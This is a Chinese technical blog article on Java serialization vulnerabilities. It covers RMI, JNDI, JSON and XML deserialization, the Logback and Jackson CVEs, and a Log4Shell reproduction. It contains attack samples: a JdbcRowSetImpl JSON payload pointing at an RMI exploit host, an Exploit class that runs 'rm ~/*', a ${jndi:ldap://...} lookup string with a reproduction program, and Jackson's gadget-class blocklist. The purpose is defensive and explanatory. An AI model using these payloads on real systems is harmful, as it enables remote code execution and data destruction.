写点什么

Java 中的序列化安全漏洞梳理

作者:陈德伟
  • 2022 年 3 月 28 日
  • 本文字数:15496 字

    阅读完需:约 51 分钟

背景

  • 现阶段公司会进行季度的安全巡检,扫描出来的 Java 相关漏洞,无论是远程代码执行、还是 JNDI 注入,基本都和 Java 的序列化机制有关。本文简单梳理了一下序列化机制相关知识,解释为什么这么多漏洞都和 Java 的序列化有关,以及后续怎么避免这些安全漏洞,减少版本升级工作量。同时能基于本文的知识,在看到序列化漏洞后,简单评估该漏洞对自身应用的影响

为什么需要序列化

  • 序列化主要是提供了一种机制,方便数据在网络之间进行传输,或者独立于程序存储在本地磁盘。

  • 序列化的使用场景很广,比如服务器收到请求参数,一种处理方式是一个个解析数据,自己构建处理数据。还有一种就是直接将数据反序列化为对象。当要把对象存储到缓存时,我们可以自己解析对象生成数据保存到缓存,取出时也自己处理数据转换为对象,也可以直接借助语言的序列化机制帮我们将对象序列化为数据存储起来,从缓存里获取数据后直接反序列化转为对象。在这些场景里,很明显序列化机制能极大改善我们的编程体验

Java 序列化基础知识简述

  • 最简单模式:implements Serializable

  • 我们可以只实现序列化接口,让 Java 序列化机制会帮我们处理其他的一切事情

  • 基于Serializable 接口简单定制

  • 可以用transient 指定不想序列化的数据,比如密码等敏感数据

  • 可以定义自己的writeObject()readObject() 方法,来自定义部分序列化和反序列化流程。注意这两个方法是私有的,却会被 Java 序列化机制自行调用

  • 基于Externalizable 接口全面定制

  • Externalizable接口提供了两个在序列化/反序列化时自动调用的方法:writeExternal()readExternal()

  • Serializable 对象的反序列化完全从其存储的字节位里构建,没有调用构造器。而Externalizable 对象反序列化时,会调用公共无参构造器,之后readExternal() 才调用。所以实现这个接口要提供无参构造器

  • Externalizable对象默认不存储自身的任何字段,因此transient关键字仅适用于Serializable对象

  • 序列化版本号serialVersionUID

  • 不管那种模式都自行定义版本号serialVersionUID

  • 如果我们不自行定义serialVersionUID,JVM 会根据自有的算法帮我们生成一个,这个算法是基于序列化类的字段、JVM 版本等等,这样可能导致即使类文件不变,升级 JDK 小版本都会导致反序列化失败

  • 另外,修改方法、transient 字段、静态字段都不影响版本号,这些都不是序列化内容,因此也不是序列化版本号生成的依据

  • JVM 生成的版本号可以通过jdk/bin/serialver命令获取,假设想知道某个类在某个 jvm 里的默认序列化版本号,可以用这个命令,来进行迁移改造

  • 注意,JSON、XML 等等,和 Java 内置序列化使用的字节流一样,都只是序列化数据的一种协议格式,其序列化机制还是基于 Java 的,并不是对 Java 序列化的一个替代。除了这类有构造和解析包就能直接使用的序列化方案,还有一类需要自己生成各种模板代码(Sub、Skeleton)的序列化方案,比如 rmi、Protocol Buffer 之类的,它们在 Java 侧的序列化一样是基于 Java 原生序列化的

Java 序列化的问题

  • JDK 的开发负责人说序列化是 Java 安全问题之源


Serialization was a horrible mistake in 1997, Some of us tried to fight it, but it went in, and there it is. ...We like to call serialization 'the gift that keeps on giving,' and the type of gift it keeps on giving is security vulnerabilities.... Probably a third of all Java vulnerabilities have involved serialization; it could be over half. It is an astonishingly fecund source of vulnerabilities, not to mention instabilities.


  • 需要注意的是,序列化并不是 Java 特有的问题,大多数编程语言都深受序列化安全之苦,因为序列化从应用场景上来说就是要和外部数据打交道,这自然就有安全风险,序列化实现的好与坏只能影响安全风险的强与弱,并不能消除。另外绝大部分的 Java 序列化漏洞,也并不是 JDK 的漏洞,而是应用程序反序列化之前没有对数据做足够的校验导致的。JDK 的大部分安全修复,其实更合适的叫法是安全加固

  • Java 序列化一直以来的坏名声,主要是和它的实现有关,而这个实现方案,又受到了 Java 愿景的束缚。Java 初期一直标榜自己强大但简单,用 Java 之父的话就是“Java is a blue collar language”,序列化方案尤其能体现这种思维。和其他语言相比,Java 内置的序列化用起来很简单但功能极其强大,你只需要实现一个空接口Serializable ,其他的什么都不用你管,JVM 帮你生成要反序列化的对象、帮你处理方法之间的调用,帮你处理对象内的引用链,帮你递归继承链。不像其他语言只序列化数据,Java 里反序列化后的对象自动就具有了数据和状态,你不需要做任何处理就能直接在业务里使用

  • 实现数据的序列化很简单,但实现对象状态的序列化则麻烦很多,你没法走正常的初始化,然后依次调用对应的方法,因为 JVM 不可能知道当前状态的对象经历过哪些方法调用。为了实现这些功能,JVM 就只能借助非常规手段,也就是反射。具体来说就是在反序列化时,JVM 先创建一个空对象,然后通过反射把对象里的数据扣出来填充进这个空对象,而跳过了正常的构造器初始化过程。这种实现导致了 Java 里的序列化机制存在各种问题

  • 这种序列化实现方式是非正交的,也就是让序列化的实现渗透到了其他各个功能模块。比如 lambda 项目的负责人说开发 lambda 时,有 20%的开发量来自于处理对序列化的影响

  • 跳过正常的构造器初始化过程也就是说跳过了各种构造器安全检查,这也是恶意代码能进入反序列化的一个主要原因

  • Java 序列化还有一个比较严重的问题就是,Java 里对象实现序列化只要implement Serializable 接口就好,看上去是一个静态类型功能,但实际上这是一个标签接口,不做任何事情,只是对 JVM 的一个提示,表示这个类是可序列化的,但实际上这个类可不可以序列化,并不能保证,这实际上是一个动态类型功能。因此线上可能会遇到实现了序列化接口但仍抛出无法序列化的错误,而这个错误是编译器发现不了的

  • 除了这三个,序列化还有很多其他的问题,比如对线程同步的影响,对继承结构的影响等等,网上很多文档都有详细的描述

序列化漏洞的分类

  • 大部分序列化漏洞都被归类为高危,但其实要利用序列化漏洞来攻陷系统其实很难,因为它的使用前置条件很高。序列化漏洞只会发生在反序列化恶意数据的过程中,这里的重点是恶意数据,而不是反序列化。同时恶意数据的输入也意味着反序列化服务链调用终端是不受信任的第三方,因此序列化漏洞一般都要和其他攻击手段一起使用才起作用

  • 当然 Java 序列化机制让我们可以在反序列化过程中不做任何校验,尤其是它直接跳过了构造器初始化过程,这让应用更容易受影响

  • 反序列化中的恶意数据,一般来源有这几种:RMI、JNDI、JSON、XML、其他 RPC 报文协议

  • RMI

  • RMI 是 Java 专门给自己设计的远程方法调用机制,它要求客户端和服务器端都是 Java

  • 使用远程方法调用会涉及参数的传递和执行结果的返回,这些参数和结果可能是基本类型也可能是对象引用,这必然就涉及序列化和反序列化

  • 如果没有对接收的参数进行仔细校验的话,那反序列化出来的对象里就可能包含恶意代码,比如可能方法里偷偷塞进了 Runtime.exec("cmd") 方法,或者读取敏感信息然后通过 java.net 包里的方法发送给恶意第三方

  • 不过一般来说 RMI 用的比较少,一些基于 RMI 的服务也都是内网服务居多。但 RMI 可以和 JNDI 结合使用,经常会被用来作为攻击端给 JNDI 提供恶意脚本输入

  • RMI 的默认端口是 1099,很多互联网上的扫描工具都会扫描这个端口。这也是除了 443 和 80,对外暴露的端口不要用默认的原因,起码能给攻击者制造点困难

  • JNDI

  • JNDI 是 JavaEE 的规范之一,任何实现了 JavaEE 规范的容器都要支持 JNDI,比如 Tomcat、Jetty、JBOSS 等 Java 容器都支持,具体应用代码研发过程中用的可能比较少,但我们依赖环境里 JNDI 应用还是比较广泛的,所以对我们影响也比较大。现在我们修复的 Java 漏洞,很大一部分都是基于 JDNI 来攻击的

  • 简单说来,JNDI 就是一个簿记系统,或者说一个映射数据结构,用来做配置管理,以应用中访问数据库来举例,你在配置文件里配置数据库的具体信息,然后给这个配置分配一个 name 或者说 key,在应用中通过查询这个 key 来获取数据库的具体地址,然后访问数据库

  • 假设恶意用户控制了这个 key,或者 key 的内容配置成恶意地址,就能返回恶意对象数据,这就是 JNDI 注入。JNDI 支持的协议包括 rmildapfilecorbadns,当然你也可以配置自己的 lookup key,但就攻击而言,一般会选择 rmildap,当然也有其他情况。

  • JNDI 注入发生后,如果反序列化过程没有做详细检查,就有可能导致应用反序列化了这个恶意对象,从而可能会执行恶意代码

  • 现在很多应用里都使用自己的配置中心来管理配置,但在框架代码里,由于是提供给第三方使用的,所以还一般使用 JDNI 来管理配置,一个是简单,再有就是通用,属于 JavaEE 规范,基本所有 Java 容器都支持。比如 logback 这样一个日志系统,竟然也内置了 JNDI 来拉取外置配置

  • 下面是 Tomcat 中配置数据库 JDNI 后,在应用里使用的过程,重点关注lookup方法



<?xml version="1.0" encoding="UTF-8"?><datasources><local-tx-datasource>    <jndi-name> MySqlDS</jndi-name>    <connection-url> jdbc:mysql://localhost:3306/test</connection-url>    <driver-class> com.mysql.jdbc.Driver</driver-class>    <user-name> root</user-name>    <password> rootpassword</password></local-tx-datasource></datasources>
复制代码


Connection conn=null;try {  Context ctx=new InitialContext();  Object datasourceRef=ctx.lookup("java:MySqlDS"); // lookup数据源  DataSource ds=(Datasource)datasourceRef;  conn=ds.getConnection();  ......  c.close();} catch(Exception e) {  e.printStackTrace();} finally {  if(conn!=null) {    try {      conn.close();    } catch(SQLException e) { }  }}
复制代码


  • JSON

  • JSON 可以说是现在 Web 开发中的标准报文协议了,而且大部分暴露在互联网上的接口,所以 JSON 序列化漏洞对我们较大,但同样的,利用 JSON 漏洞的条件其实也是很苛刻的

  • JSON 序列化漏洞的利用过程,简单来说就是在从 JSON 字符串反序列到 Java 对象时,应用会自动调用对应字段的 set 方法,这个攻击就是在 set 方法的调用过程中

  • 一般正常的 JSON 操作都不会触发反序列化漏洞,但在涉及多态时,反序列化时需要显式指明 class 类型,这时候就可能会触发该漏洞

  • 如下的示例可以看出,在涉及多态反序列化时,必须要在反序列化的字符串中指定 class 信息才可以,这就带来了问题,如果传入的 class 内容是恶意的,就会导致这个 class 在反序列化执行 set 时可能发生攻击

  • 比如,假设被序列化的 json 字符串是 {"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:ip/Exploit","autoCommit":true},注意这里的类型并不是应用代码里要求的类型,只要应用里没有使用具体类型,而使用了 Object 之类的基类型,攻击者就可以构造这样的 json 字符串

  • 反序列化 JdbcRowSetImpl 时会执行setAutoCommit(),而它的这个 set 方法又会执行 InitialContext.lookup(dataSourceName) ,dataSourceName 被我们设置成了一个恶意的 RMI 对象,具体内容看下面示例,这样 lookup 并下载后一初始化就执行了攻击。这里其实有要求服务器的出访不做限制

  • 也可以通过 JsonTypeInfo.Id.NAME 注解模式来指定 class 信息,可以避免该问题,但 JsonTypeInfo.Id.CLASS 就不行,因为也把 class 给暴露出去了

  • 从上面可以看出,一般来说如果要触发这个 JSON 反序列化攻击,需要满足下面几个条件

  • 1,要反序列化的 JSON 数据是从外部传入的。基本上只要是接口就满足这个条件

  • 2,反序列化时用的 class 信息是外部传入的。这样的话 JSON 库代码在反序列化时才能正常执行对象初始化和 set 方法,否则直接就抛异常了。这个条件比较苛刻,正常 web 开发不会让对方传递 class 信息

  • 3,反序列化代码里限定的类用了 Object 或者 Serial 之类的很顶层的类,比如objectMapper.readValue(json, Object.class); ,如果这里用具体业务类的话,即使第二步传入了恶意的 class 数据,也可以在这一步匹配时阻止反序列化并抛出异常

  • 4,第 2 步传入的 class 要在我们代码的依赖里。这个很好理解,不在依赖里的话反序列化都做不到

  • 5,第 2 步传入的 class 不在 JSON 处理库的黑名单里。像 Jackson 等 JSON 处理库都维护了一个内部黑名单,记录了可能会被利用来进行反序列化攻击的 class,在反序列化前都会先检查一下,如果传入的 class 在自己的黑名单话,就会反序列化失败,比如我们上面提到的 JdbcRowSetImpl 就已经被最新版的 Jackson 列入了黑名单

  • 综上看来,JSON 的反序列化漏洞对 api 之类的接口影响有限,但如果代码里不小心调用了 enableDefaultTyping,又在ObjectMapper#readValue() 里用到了 Object 这种基类,或 Comparator、Serialable 这样的接口,即使你没意识到自己的接口可以被指定 class 信息,攻击者仍然可以攻击

  • 另外从上面的流程可以看出,发序列化恶意代码执行后,JSON 肯定还会把恶意对象强制类型转换成我们期望的对象,但类型一定不匹配,所以会抛出 ClassCastException 之类的异常。如果日志里有这种异常,而 cast 前的class 又是你不认识或没用到过的,那一定要检查是不是被攻击了。当然到异常攻击这一步后,恶意代码其实已经执行完了,但知道受到攻击总比不知道好


public class JSONDefaultTypeAttack {    public static void main(String[] args) throws Exception {        Banana banana = new Banana();        banana.name = "banana";        Buy buy1 = new Buy("online", banana);        ObjectMapper mapper1 = new ObjectMapper();        // 序列化成功        String json1 = mapper1.writeValueAsString(buy1);        System.out.println("toJson1=" + json1);        // 反序列化失败:Cannot construct instance of `chendw.security.Fruit` (no Creators, like default construct, exist)        // Buy buy2 = mapper1.readValue(json1, Buy.class);        // banana = (Banana) buy2.getFruit();        // System.out.println("name1=" + banana.name);        // 反序列化成功        ObjectMapper mapper2 = new ObjectMapper();        mapper2.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);        String json2 = mapper2.writeValueAsString(buy1);        System.out.println("toJson2=" + json2);        Buy buy3 = mapper2.readValue(json2, Buy.class);        banana = (Banana) buy3.getFruit();        System.out.println("name2=" + banana.name);    }    // toJson1={"mode":"online","fruit":{"name":"banana"}}    // toJson2={"@class":"chendw.security.Buy","mode":"online","fruit":{"@class":"chendw.security.Banana","name":"banana"}}    // name2=banana}interface Fruit {}class Buy {    private String mode;    private Fruit fruit;    Buy() {    }    Buy(String mode, Fruit fruit) {        this.mode = mode;        this.fruit = fruit;    }    public Fruit getFruit() {        return fruit;    }    public String getMode() {        return mode;    }}class Apple implements Fruit {    public String name;}class Banana implements Fruit {    public String name;}
复制代码


public class Exploit {    public Exploit() {         Runtime.getRuntime().exec("rm ~/*");    }}
复制代码


  • XML

  • XML 的反序列化攻击和 JSON 差不多,都是控制反序列化的 XML 字符串,传入恶意数据来攻击,但利用的点又有区别

  • 拿去年公司要求修复的 XStream 漏洞【CVE-2021-21344】来说,要想理解相关漏洞,就需要先了解 XStream 自身的反序列化机制

  • XStream 在进行反序列化时,会要求类库调用者显式指定反序列化的类:xstream.allowTypes(new Class[] { Xxxx.class }),这样避免了 JSON 里通常利用的攻击点

  • XStream 反序列化是通过 converter 来进行的,不同类型的数据使用不同的 converter,所以攻击点一般也在这里。另外和 JSON 不同,XStream 不需要服务端启用 enableDefaultType 才可以在 XML 里携带 class 信息,相反,XStream 里的 class 信息是默认允许添加有的,这样攻击者就可以构造恶意数据来攻击了

  • 可以看出,XML 的漏洞利用门槛要比 JSON 低很多。另外一般官方的修复也和 JSON 库一样采用黑名单机制,哪个类出问题就把哪个类加到黑名单里

  • 具体流程待补充

序列化漏洞举例

  • 以近期公司要求修复的【Logback 远程代码执行漏洞(CVE-2021-42550)】为例

  • 这个漏洞就是一个 JNDI 注入漏洞,之所以会发生,是因为 Logback 支持通过 JNDI 查询来从外部获取日志配置信息,比如数据库或其他集中管理平台

  • Logback 对返回的数据校验不足。如果攻击者修改了 logback 的配置文件,将 JNDI 地址配置成了恶意地址,就有可能导致应用里反序列化恶意对象,从而执行恶意方法

  • 从上面可以看到,这个漏洞要求攻击者有主机文件的写权限,所以虽然这个漏洞在公司内部被标记为高危,其实影响并不大。如果攻击者有写权限,那也说明这个主机沦陷了,那他也可以直接执行命令

  • 之所以一般还是推荐修复,一个是公司安全政策,另一个就是漏洞的累积效应。每个漏洞单独看起来可能没有问题,但多个漏洞累积起来可能就会造成威胁

  • 拿本漏洞来说,单独看问题不大,但也可能被用来提权。比如开发 A 有写入logback.xml 的权限,应用是在运维 B 的权限下运行。攻击者获取了 A 的权限后,就可以让有 B 权限的应用执行命令来提权,从而让攻击者获取 B 的权限。这个场景只是人为制造来说说明问题,并不代表实际是这样的,所以容易修复最好修复,不容易修复具体问题就具体评估

  • 具体到这个漏洞,官方的修复代码如下。可以看到修复方案就是直接把 logback 里 JNDI 的lookup 给注释掉,其实就相当于废弃了 JNDI 功能,不过 logback 里用 JNDI 本来就特殊,升级到新版本的话估计影响不大



  • 以近期公司要求修复的【Jackson-databind 反序列化漏洞(CVE-2021-20190)】为例

  • 这个反序列化漏洞在上一节 JSON 里已经解释的很清楚了,只不过该漏洞用的不是 JdbcRowSetImpl ,而是 javax.swing.JTextPane

  • 注意,这里并不是说应用代码里没有用到 javax.swing.JTextPane ,就不会收到影响,而是说如果 Jackson 代码里允许了 enableDefaultTyping,只要依赖里有javax.swing.JTextPane ,就会受到攻击,而这是 JDK 里的类库,所以一般应用依赖里都有,除非用了 Java 的模块化排除

  • 官方的修复方案也很简单,就是在自己的黑名单里把这个类给加上了



  • 反序列化黑名单

  • 要利用反序列化漏洞,一个关键点是被攻击的应用里要有一个可利用的危险类。下面是 Jackson 类库里的黑名单列表

  • 从 Jackson 类库的黑名单列表里可以看出,这些危险的类可能是第三方依赖库,也有可能是 JDK 里的。说这些类危险,并不是说这些类本身存在着反序列化漏洞,而是说这些类本身会做反射的 invoke()、序列化的 resovleClass()、readObject()等等,同时这些类的这些操作有被攻击者恶意利用的危险

  • 很多类库通过把这些类加入黑名单来防止反序列化攻击。当攻击者控制了反序列化的数据后,一般会在反序列化数据里指定这些危险类并构造对应的攻击数据,然后发送给被攻击侧应用进行攻击。Jackson 等类库在反序列化这些数据时,先判断要反序列化的类在不在黑名单,从而有效阻止这些攻击

  • 黑名单的局限还是挺明显的。它只能发现一个攻击类处理一个攻击类,这样就一直处在应对状态。如果用白名单效果要好很多,也就是说我们定义一个列表,只允许列表内的数据进行反序列化。但第三方框架不可能知道应用要序列化的白名单列表,而应用自行维护白名单的工作量明显要高很多,因此黑名单还是主流应对方案


    /**     * Set of well-known "nasty classes", deserialization of which is considered dangerous     * and should (and is) prevented by default.     */    protected final static Set<String> DEFAULT_NO_DESER_CLASS_NAMES;    static {        Set<String> s = new HashSet<String>();        // Courtesy of [https://github.com/kantega/notsoserial]:        // (and wrt [databind#1599])        s.add("org.apache.commons.collections.functors.InvokerTransformer");        s.add("org.apache.commons.collections.functors.InstantiateTransformer");        s.add("org.apache.commons.collections4.functors.InvokerTransformer");        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");        s.add("org.codehaus.groovy.runtime.ConvertedClosure");        s.add("org.codehaus.groovy.runtime.MethodClosure");        s.add("org.springframework.beans.factory.ObjectFactory");        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");        // [databind#1680]: may or may not be problem, take no chance        s.add("com.sun.rowset.JdbcRowSetImpl");        // [databind#1737]; JDK provided        s.add("java.util.logging.FileHandler");        s.add("java.rmi.server.UnicastRemoteObject");        // [databind#1737]; 3rd party//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");        // [databind#2680]        s.add("org.springframework.aop.config.MethodLocatingFactoryBean");        s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" - // [databind#1855]: more 3rd party s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader"); // [databind#1899]: more 3rd party s.add("org.hibernate.jmx.StatisticsService"); s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup s.add("jodd.db.connection.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup s.add("oracle.jdbc.connector.OracleManagedConnectionFactory"); s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled s.add("org.slf4j.ext.EventData"); s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor"); s.add("com.sun.deploy.security.ruleset.DRSHelper"); s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186], [databind#2670]: yet more 3rd party gadgets s.add("org.jboss.util.propertyeditor.DocumentEditor"); s.add("org.apache.openjpa.ee.RegistryManagedRuntime"); s.add("org.apache.openjpa.ee.JNDIManagedRuntime"); s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9) s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
// [databind#2334]: logback-core (2.9.9.1) s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
// [databind#2341]: jdom/jdom2 (2.9.9.1) s.add("org.jdom.transform.XSLTransformer"); s.add("org.jdom2.transform.XSLTransformer");
// [databind#2387], [databind#2460]: EHCache s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup"); s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");
// [databind#2389]: logback/jndi s.add("ch.qos.logback.core.db.JNDIConnectionSource");
// [databind#2410]: HikariCP/metricRegistry config s.add("com.zaxxer.hikari.HikariConfig"); // [databind#2449]: and sub-class thereof s.add("com.zaxxer.hikari.HikariDataSource");
// [databind#2420]: CXF/JAX-RS provider/XSLT s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
// [databind#2462]: commons-configuration / -2 s.add("org.apache.commons.configuration.JNDIConfiguration"); s.add("org.apache.commons.configuration2.JNDIConfiguration");
// [databind#2469]: xalan s.add("org.apache.xalan.lib.sql.JNDIConnectionPool"); // [databind#2704]: xalan2 s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");
// [databind#2478]: comons-dbcp, p6spy s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource"); s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource"); s.add("com.p6spy.engine.spy.P6DataSource");
// [databind#2498]: log4j-extras (1.2) s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource"); s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");
// [databind#2526]: some more ehcache s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector"); s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");
// [databind#2620]: xbean-reflect s.add("org.apache.xbean.propertyeditor.JndiConverter");
// [databind#2631]: shaded hikari-config s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");
// [databind#2634]: ibatis-sqlmap, anteros-core/-dbcp s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig"); s.add("br.com.anteros.dbcp.AnterosDBCPConfig"); // [databind#2814]: anteros-dbcp s.add("br.com.anteros.dbcp.AnterosDBCPDataSource");
// [databind#2642][databind#2854]: javax.swing (jdk) s.add("javax.swing.JEditorPane"); s.add("javax.swing.JTextPane");
// [databind#2648], [databind#2653]: shire-core s.add("org.apache.shiro.realm.jndi.JndiRealmFactory"); s.add("org.apache.shiro.jndi.JndiObjectFactory");
// [databind#2658]: ignite-jta (, quartz-core) s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup"); s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory"); s.add("org.quartz.utils.JNDIConnectionProvider");
// [databind#2659]: aries.transaction.jms s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory"); s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");
// [databind#2660]: caucho-quercus s.add("com.caucho.config.types.ResourceRef");
// [databind#2662]: aoju/bus-proxy s.add("org.aoju.bus.proxy.provider.RmiProvider"); s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");
// [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms
s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core s.add("org.apache.activemq.ActiveMQXAConnectionFactory"); s.add("org.apache.activemq.spring.ActiveMQConnectionFactory"); s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory"); s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool s.add("org.apache.activemq.pool.PooledConnectionFactory"); s.add("org.apache.activemq.pool.XaPooledConnectionFactory"); s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory"); // [databind#2666]: apache/commons-jms s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");
// [databind#2682]: commons-jelly s.add("org.apache.commons.jelly.impl.Embedded");
// [databind#2688]: apache/drill s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
// [databind#2698]: weblogic w/ oracle/aq-jms // (note: dependency not available via Maven Central, but as part of // weblogic installation, possibly fairly old version(s)) s.add("oracle.jms.AQjmsQueueConnectionFactory"); s.add("oracle.jms.AQjmsXATopicConnectionFactory"); s.add("oracle.jms.AQjmsTopicConnectionFactory"); s.add("oracle.jms.AQjmsXAQueueConnectionFactory"); s.add("oracle.jms.AQjmsXAConnectionFactory");
// [databind#2764]: org.jsecurity: s.add("org.jsecurity.realm.jndi.JndiRealmFactory");
// [databind#2798]: com.pastdev.httpcomponents: s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");
// [databind#2826], [databind#2827] s.add("com.nqadmin.rowset.JdbcRowSetImpl"); s.add("org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
复制代码


  • 以上次修复的 XStream 远程代码执行反序列化漏洞【CVE-2021-29505】为例

  • 待补充

log4j Shell 序列化漏洞攻击过程复现

  • 我们以前段时间火遍全网的 Log4Shell 漏洞为例,一步步复现一下攻击过程和原理,从而对上面的理论说明做一个更深入的理解

  • Log4Shell 虽然也是一个 JNDI 漏洞,但它的特殊之处在于,利用门槛要远远低于一般的 JNDI 漏洞,所以危害很大,危险等级被 Apache 定为最高的 10 级。这个漏洞的利用门槛包括:

  • JDK 版本:这个漏洞无论 JDK 版本是多少都能不能拦截

  • log4j:版本参考漏洞说明

  • 服务器:会基于 log4j 来记录用户传入的数据,有出访网络权限

  • 利用原理

  • 除了正常的日志记录,log4j 还支持占位符模式。比如我们可以在配置模板里写 ${date:yyyy-MM-dd},那么 Log4j 在写实际日志时会将当前日期替换为形如 2022-03-21 这种格式记录下来。如果在模板里写 ${java:version},Log4j 就会获取实际的 JDK 版本将其记录下来

  • 除了这些常规的,Log4j 还支持更复杂 JNDI 模式。如果实际生成日志是遇到 ${jndi:xxx://ip:port/a} 这种模式,log4j 会真的执行 JNDI 查询,获取对应的数据,然后写入日志,这很明显有很大的问题

  • 对一个应用来说,在日志里记录用户的搜索关键字、登录用户名等等很平常,如果用户把这个登录用户名、搜索关键字替换成 jndi 地址,当服务器记录时,就会执行 JNDI 查询,从而导致系统被攻击,qq 邮箱的搜索框、icloud 的用户名都是这样被攻击的

  • 另外需要注意的是,只要日志里记录外部传输的恶意数据,就有可能会导致攻击,并不仅限于用户输入,比如说很多系统会采集参数、或者请求头,攻击者可以简单用个 api,请求参数里随便写,只要参数里携带${jndi:xxx} 就会造成威胁。因为数据校验之前,请求参数已经写入系统日志里了。或者随便加个请求头 cuostomXxxHeader: ${jndi:xxx},也能有一样的效果

  • 这里一个重要的利用点是服务器的出访请求,这样攻击者才能让服务器下载自己的恶意脚本。一般服务器即使没有公网访出权限,也有内网访出权限,所以即使有公网出访限制,这个漏洞还是有一定的威胁,应该也要升级版本,以预防内网某台机器有问题导致所有机器都都有问题的情形

  • 漏洞复现

  • 网上有很多 log4j Shell 的 POC 代码,按说明就可以很方便的复现这个漏洞

  • 我们这里的复现做了简化,下面是一个单文件运行示例,依赖了 2.14.1 版本的 log4j,然后从命令行读取参数,用 log4j 记录

  • 运行java Log4jShellAttack chendw,就会输出 “hello: chendw”,这是正常流程

  • 如果运行占位符,比如 java Log4jShellAttack ${java:version},log4j 会将占位符替换,输出对应的本机 Java 版本

  • 更危险的是,我们可以传入 jndi 服务器路径,让 log4j 来下载对应的恶意代码。这里我们使用“log4shell.tools”网站提供的 ldap 服务来验证。当然你也可以自己本地部署一个 ldap 服务,或者 rmi 服务,或者其他任何 jndi 支持的协议

  • 在“log4shell.tools”网站上获取一个自己特定的 url 作为参数传入 log4j,如果 log4j 去做了 lookup,该网站就会收到应用本机发的请求,从而下发对应的恶意服务,并将请求记录展现出来:java Log4jShellAttack ${jndi:ldap://5bb26e33-4b30-4080-a3d2-5522a5b97d3b.dns.log4shell.tools:12345/5bb26e33-4b30-4080-a3d2-5522a5b97d3b}

  • 从截图可以看出来,代码运行后输出的是hello :Reference Class Name: Log4Shell ,说明 log4j 执行了 lookup 并获取了 ldap 恶意类,“log4shell.tools”也显示了我们应用向它发起过请求

  • 另外,代码里之所以要设置 trustURLCodebase 是因为最新版 Java 现在禁止自动信任 RMI 和 LADP 下载的远程类,但现在用的大部分 JDK 都还是自动信任的。另外,这个禁止只是防止了在这个漏洞里使用 rmi 和 ladp 来下载恶意类,我们还可以利用其它方式来利用这个漏洞。因此这个漏洞并不能靠升级 JDK 版本来解决,一定要升级 log4j 版本


import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4jShellAttack {    private static final Logger logger = LogManager.getLogger(Log4jShellAttack.class);;    public static void main(String[] args) {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        String username = args[0];        logger.error("hello :" + username);    }}
复制代码




  • 分析了这个漏洞后,首先想到的就是 Unix 哲学里推崇的“Write programs that do one thing and do it well.”还是很有道理的。JNID 这个功能点在日志框架里被用到的几率感觉极其小,logback 注掉了 JNDI 功能,也没看到网上有人反馈升级后用不了。不怎么用的功能却带来了大部分问题,而且影响的还包括没使用这个功能点的用户,这就得不偿失了。日志框架应该只专注常规功能,特有功能的话应该通过插件来提供,谁用谁配置。Java 其实也有向这个趋势发展,比如 Java 模块化系统,用什么显式配置什么,我不用javax.swing,就不会经常受到swing 包里那些类的影响

Java 序列化的改进

  • Java 引入序列化功能的时间太长了,太多应用和库依赖于 Java 现有的序列化功能,因此废弃现有序列化机制是不可想象的

